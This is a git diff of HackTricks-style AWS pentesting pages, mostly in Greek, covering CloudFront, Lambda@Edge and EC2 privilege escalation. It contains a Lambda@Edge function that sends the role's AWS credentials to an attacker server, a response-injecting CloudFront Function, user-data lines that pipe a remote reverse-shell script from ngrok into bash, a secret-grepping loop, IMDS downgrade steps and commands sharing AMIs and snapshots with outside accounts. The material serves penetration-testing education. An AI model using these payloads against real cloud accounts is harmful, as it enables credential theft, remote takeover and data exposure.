\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Δημιουργήστε τη malicious function στο CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Λάβετε το ETag της function στο στάδιο DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Δημοσιεύστε τη function στο στάδιο LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Πακετάρισμα της συνάρτησης Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Δημιουργία της συνάρτησης Lambda@Edge με προνομιακό ρόλο
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Δημοσίευση μιας έκδοσης της συνάρτησης
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Εφαρμόστε την ενημερωμένη ρύθμιση διανομής (πρέπει να χρησιμοποιήσετε το τρέχον ETag)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Ενεργοποιήστε τη λειτουργία ζητώντας τη διανομή
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 0e3c99c70..afbc71e8d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Για περισσότερες **πληροφορίες για το EC2** δες:
+Για περισσότερες **πληροφορίες για EC2** δείτε:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@
### `iam:PassRole`, `ec2:RunInstances`
-Ένας attacker θα μπορούσε να δημιουργήσει ένα instance επισυνάπτοντας ένα IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance για να κλέψει τα IAM role credentials από το metadata endpoint.
+Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει ένα instance επισυνάπτοντας έναν IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance** για να κλέψει τα IAM role credentials από το metadata endpoint.
- **Πρόσβαση μέσω SSH**
-Εκτέλεσε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και στη συνέχεια ssh σε αυτό (αν θέλεις να δημιουργήσεις νέο ίσως χρειαστεί να έχεις την άδεια `ec2:CreateKeyPair`).
+Εκτέλεσε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και μετά κάνε ssh σε αυτό (αν θέλεις να δημιουργήσεις ένα νέο μπορεί να χρειαστεί να έχεις την άδεια `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **Πρόσβαση μέσω rev shell σε user data**
+- **Πρόσβαση μέσω rev shell στο user data**
-Μπορείτε να εκκινήσετε ένα νέο instance χρησιμοποιώντας **user data** (`--user-data`) που θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.
+Μπορείτε να εκκινήσετε ένα νέο instance χρησιμοποιώντας **user data** (`--user-data`) το οποίο θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Πρόσεχε το GuradDuty αν χρησιμοποιήσεις τα credentials του IAM role έξω από το instance:
+Πρόσεχε το GuradDuty αν χρησιμοποιήσεις τα credentials του IAM role εκτός του instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 role που είναι attached σε υπάρχοντα instance profiles.
+**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 role attached σε υπάρχοντα instance profiles.
#### Privesc σε ECS
-Με αυτό το σύνολο δικαιωμάτων μπορείς επίσης να **δημιουργήσεις ένα EC2 instance και να το εγγράψεις σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι ECS **services** θα **τρέξουν** μέσα στο **EC2 instance** στο οποίο έχεις πρόσβαση και μετά μπορείς να παραβιάσεις αυτές τις υπηρεσίες (docker containers) και να **κλέψεις τα ECS roles που έχουν συνημμένα**.
+Με αυτό το σύνολο δικαιωμάτων μπορείς επίσης να **δημιουργήσεις ένα EC2 instance και να το εγγράψεις μέσα σε ένα ECS cluster**. Με αυτόν τον τρόπο, ECS **services** θα **τρέξουν** μέσα στο **EC2 instance** στο οποίο έχεις πρόσβαση και στη συνέχεια μπορείς να παραβιάσεις αυτές τις υπηρεσίες (docker containers) και να **steal their ECS roles attached**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Για να μάθετε πώς να αναγκάσετε τα ECS services να τρέξουν σε αυτό το νέο EC2 instance δείτε:
+Για να μάθετε πώς να **αναγκάσετε υπηρεσίες ECS να τρέξουν** σε αυτό το νέο EC2 instance ελέγξτε:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Αν **δεν μπορείτε να δημιουργήσετε ένα νέο instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, μπορεί να είστε σε θέση να καταχωρήσετε το instance μέσα στο cluster και να πραγματοποιήσετε την προαναφερθείσα επίθεση.
+Εάν **δεν μπορείτε να δημιουργήσετε ένα νέο instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, ίσως να μπορείτε να καταχωρήσετε το instance μέσα στο cluster και να εκτελέσετε την προτεινόμενη επίθεση.
-**Πιθανός Αντίκτυπος:** Direct privesc to ECS roles attached to tasks.
+**Πιθανός Αντίκτυπος:** Άμεσο privesc σε ECS roles που επισυνάπτονται σε tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **αλλάξει το IAM role ενός παραβιασμένου instance** ώστε να αποσπάσει νέες διαπιστευτήριες.\
-Εφόσον ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συχνή περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
+Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει το IAM role ενός παραβιασμένου instance** ώστε να μπορεί να κλέψει νέα διαπιστευτήρια.\
+Καθώς ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συνήθης περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Αν το **instance profile έχει ένα role** και ο attacker **δεν μπορεί να το αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς role** ή να **δημιουργήσει ένα καινούριο** (`iam:CreateInstanceProfile`), να **προσθέσει** το **role** σε εκείνο το **instance profile** (όπως συζητήθηκε προηγουμένως), και να **συνδέσει το instance profile** compromised σε ένα compromised i**nstance:**
+Αν το **instance profile has a role** και ο επιτιθέμενος **cannot remove it**, υπάρχει μια άλλη παράκαμψη. Μπορεί να **βρει** ένα **instance profile without a role** ή **να δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), **να προσθέσει** το **role** σε εκείνο το **instance profile** (όπως αναφέρθηκε προηγουμένως), και να **συνδέσει** το συμβιβασμένο **instance profile** με ένα συμβιβασμένο i**nstance:**
-- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Αν το instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και να διαθέτετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
+**Potential Impact:** Direct privesc σε διαφορετικό EC2 role (χρειάζεται να έχετε συμβιβάσει ένα AWS EC2 instance και κάποια επιπλέον permission ή συγκεκριμένη κατάσταση instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Με αυτά τα δικαιώματα είναι δυνατή η αλλαγή του instance profile που είναι συνδεδεμένο με ένα instance, οπότε αν ο επιτιθέμενος ήδη έχει πρόσβαση σε ένα instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αλλάζοντας το instance profile που είναι συσχετισμένο με αυτό.
+Με αυτά τα permissions είναι δυνατόν να αλλάξετε το instance profile που είναι συσχετισμένο με ένα instance, οπότε εάν ο επιτιθέμενος είχε ήδη πρόσβαση σε ένα instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αντικαθιστώντας αυτό που είναι συνδεδεμένο.
-- Αν **έχει instance profile**, μπορείτε να **αφαιρέσετε** το instance profile (`ec2:DisassociateIamInstanceProfile`) και να το **συσχετίσετε**
+- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- ή **αντικαταστήσετε** το **instance profile** της συμβιβασμένης instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- ή **αντικαταστήσετε** το **instance profile** του compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potential Impact:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
+**Potential Impact:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`and`iam:PassRole`** μπορεί να **ζητήσει** ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στο **user data**.\
-Μόλις το instance εκτελεστεί, μπορεί να **κλέψει το IAM role**.
+Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`and`iam:PassRole`** μπορεί να ζητήσει ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στο **user data**.\
+Μόλις το instance εκτελεστεί, μπορεί να **steal the IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, το οποίο σημαίνει ότι μπορεί να κάνει την instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στο EC2 instance**.
+Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, που σημαίνει ότι μπορεί να κάνει την instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στην EC2 instance**.
-Σημειώστε ότι τα attributes μπορούν να **τροποποιηθούν μόνο ενώ η instance είναι σταματημένη**, οπότε απαιτούνται τα **permissions** **`ec2:StopInstances`** και **`ec2:StartInstances`**.
+Σημειώστε ότι τα attributes μπορούν να **τροποποιηθούν μόνο ενώ η instance είναι σταματημένη**, επομένως απαιτούνται τα **δικαιώματα** **`ec2:StopInstances`** και **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potential Impact:** Άμεση privesc σε οποιοδήποτε EC2 IAM Role συνημμένο σε μια δημιουργημένη instance.
+**Πιθανός Αντίκτυπος:** Άμεση privesc σε οποιοδήποτε EC2 IAM Role που είναι προσαρτημένο σε μια δημιουργημένη instance.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** τα **user data** και **any EC2 IAM Role on it**, να αλλάξει την default version, και **any Autoscaler group** **using** that **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version** θα **re-run the instances** χρησιμοποιώντας αυτό το template και θα εκτελέσει το rev shell.
+Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** τα **user data** και **any EC2 IAM Role on it**, να αλλάξει την προεπιλεγμένη έκδοση, και **any Autoscaler group** **using** εκείνο το **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version** θα **re-run the instances** χρησιμοποιώντας εκείνο το template και θα εκτελέσει το rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potential Impact:** Άμεση privesc σε διαφορετικό EC2 role.
+**Πιθανή Επίπτωση:** Direct privesc to a different EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει ένα Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, στη συνέχεια να **δημιουργήσει ένα autoscaling group** από εκείνη τη διαμόρφωση και να περιμένει το rev shell να **κλέψει το IAM Role**.
+Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **create a Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, στη συνέχεια να **create an autoscaling group** από αυτή τη config και να περιμένει το rev shell να **steal the IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role.
+**Potential Impact:** Άμεση privesc σε διαφορετικό EC2 ρόλο.
### `!autoscaling`
-Το σύνολο δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν επαρκεί για να escalate** privileges σε ένα IAM role γιατί για να επισυνάψετε τον ρόλο που ορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (που είναι γνωστό privesc).
+Το σύνολο των permissions **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν αρκεί για να escalate privileges** σε ένα IAM role γιατί για να επισυνάψετε το role που καθορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τις permissions `iam:PassRole`and `ec2:RunInstances`** (το οποίο είναι γνωστό privesc).
### `ec2-instance-connect:SendSSHPublicKey`
-Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh πρόσβαση στο instance) ή για να escalate privileges.
+Ένας επιτιθέμενος με την permission **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh access στο instance) ή για να escalate privileges.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potential Impact:** Άμεσο privesc στις EC2 IAM roles που είναι συνδεδεμένες σε running instances.
+**Potential Impact:** Άμεση privesc στους EC2 IAM ρόλους που είναι επισυναπτόμενοι σε running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή πρόσβαση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess`** για να την ενεργοποιήσει.
+Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή πρόσβαση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**.
-Για να συνδεθεί στη σειριακή θύρα χρειάζεται επίσης **να γνωρίζει το username και το password ενός χρήστη** μέσα στη μηχανή.
+Για να συνδεθεί στη σειριακή θύρα πρέπει επίσης **να γνωρίζει το όνομα χρήστη και τον κωδικό πρόσβασης ενός χρήστη** μέσα στη μηχανή.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις ένα username και password για να το εκμεταλλευτείς.
+Αυτός ο τρόπος δεν είναι ιδιαίτερα χρήσιμος για privesc καθώς χρειάζεται να γνωρίζετε ένα username και password για να τον εκμεταλλευτείτε.
-**Πιθανός Αντίκτυπος:** (Highly unprovable) Άμεσο privesc στα EC2 IAM roles attached σε running instances.
+**Potential Impact:** (Ιδιαίτερα δύσκολο να αποδειχθεί) Άμεσο privesc στα EC2 IAM roles που είναι συνδεδεμένα με running instances.
### `describe-launch-templates`,`describe-launch-template-versions`
-Επειδή τα launch templates έχουν versioning, ένας attacker με **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** permissions θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν σε user data. Για να το πετύχει, το ακόλουθο script κάνει loop σε όλες τις versions των διαθέσιμων launch templates:
+Εφόσον τα launch templates διαθέτουν versioning, ένας attacker με **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** permissions θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν στο user data. Για να το πετύχει αυτό, το ακόλουθο script διατρέχει όλες τις versions των διαθέσιμων launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,11 +248,11 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-Στις παραπάνω εντολές, παρόλο που καθορίζουμε συγκεκριμένα πρότυπα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
+Στις παραπάνω εντολές, παρόλο που καθορίζουμε ορισμένα πρότυπα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε ένα διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
-Υποθέτοντας ότι βρίσκουμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα διαπιστευτήρια για να αυθεντικοποιηθούμε στο AWS.
+Υποθέτοντας ότι βρούμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα credentials για authenticate στο AWS.
-**Πιθανές Επιπτώσεις:** Άμεση privilege escalation σε IAM user(s).
+**Πιθανός Αντίκτυπος:** Direct privilege escalation to IAM user(s).
## Αναφορές
@@ -260,10 +260,10 @@ done
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-Ένας attacker με τη δυνατότητα να καλέσει `ec2:ModifyInstanceMetadataOptions` σε ένα victim EC2 instance μπορεί να εξασθενήσει τις IMDS προστασίες ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό καθιστά το instance metadata endpoint προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Εάν ο attacker μπορέσει να ενεργοποιήσει SSRF σε μια τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
+Ένας επιτιθέμενος με τη δυνατότητα να καλέσει `ec2:ModifyInstanceMetadataOptions` σε ένα θύμα EC2 instance μπορεί να εξασθενήσει τις IMDS προστασίες ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό κάνει το endpoint των instance metadata προσβάσιμο μέσω κοινών SSRF/proxy μονοπατιών από εφαρμογές που τρέχουν στο instance. Αν ο επιτιθέμενος καταφέρει να προκαλέσει SSRF σε μια τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
-- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` στον στοχευόμενο instance (συν τη δυνατότητα να φτάσει/προκαλέσει SSRF στον host).
-- Στόχος πόρου: Το τρέχον EC2 instance με επισυναπτόμενο instance profile (IAM role).
+- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
+- Στόχος: Το τρέχον EC2 instance με συνδεδεμένο instance profile (IAM role).
Παράδειγμα εντολών:
```bash
@@ -292,5 +292,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Πιθανός Αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF, με αποτέλεσμα privilege escalation και lateral movement χρησιμοποιώντας τα EC2 role permissions.
+Πιθανός αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF, οδηγώντας σε privilege escalation και lateral movement με τα EC2 role permissions.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Ένας επιτιθέμενος με το ec2:ModifyInstanceMetadataOptions permission μπορεί να αποδυναμώσει τις προστασίες του Instance Metadata Service (IMDS) — για παράδειγμα αναγκάζοντας IMDSv1 (κάνοντας τα HttpTokens μη υποχρεωτικά) ή αυξάνοντας το HttpPutResponseHopLimit — διευκολύνοντας έτσι την exfiltration προσωρινών credentials. Ο πιο σχετικός φορέας κινδύνου είναι η αύξηση του HttpPutResponseHopLimit: με την αύξηση αυτού του hop limit (TTL), το endpoint 169.254.169.254 παύει να περιορίζεται αυστηρά στο network namespace της VM και μπορεί να γίνει προσβάσιμο από άλλες processes/containers, επιτρέποντας την κλοπή credentials.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Ένας επιτιθέμενος που έχει τα δικαιώματα `ec2:ModifyImageAttribute` και `ec2:ModifySnapshotAttribute` μπορεί να μοιραστεί AMIs ή snapshots με άλλους AWS λογαριασμούς (ή ακόμη και να τα κάνει public), εκθέτοντας images ή volumes που μπορεί να περιέχουν ευαίσθητα δεδομένα όπως configurations, credentials, certificates ή backups. Με την τροποποίηση των launch permissions ενός AMI ή των create-volume permissions ενός snapshot, ο επιτιθέμενος επιτρέπει σε τρίτους να launch instances ή να mount disks από αυτούς τους πόρους και να αποκτήσουν πρόσβαση στο περιεχόμενό τους.
+
+Για να μοιραστείτε ένα AMI με άλλο λογαριασμό:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Για να μοιραστείτε ένα EBS snapshot με άλλο account:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
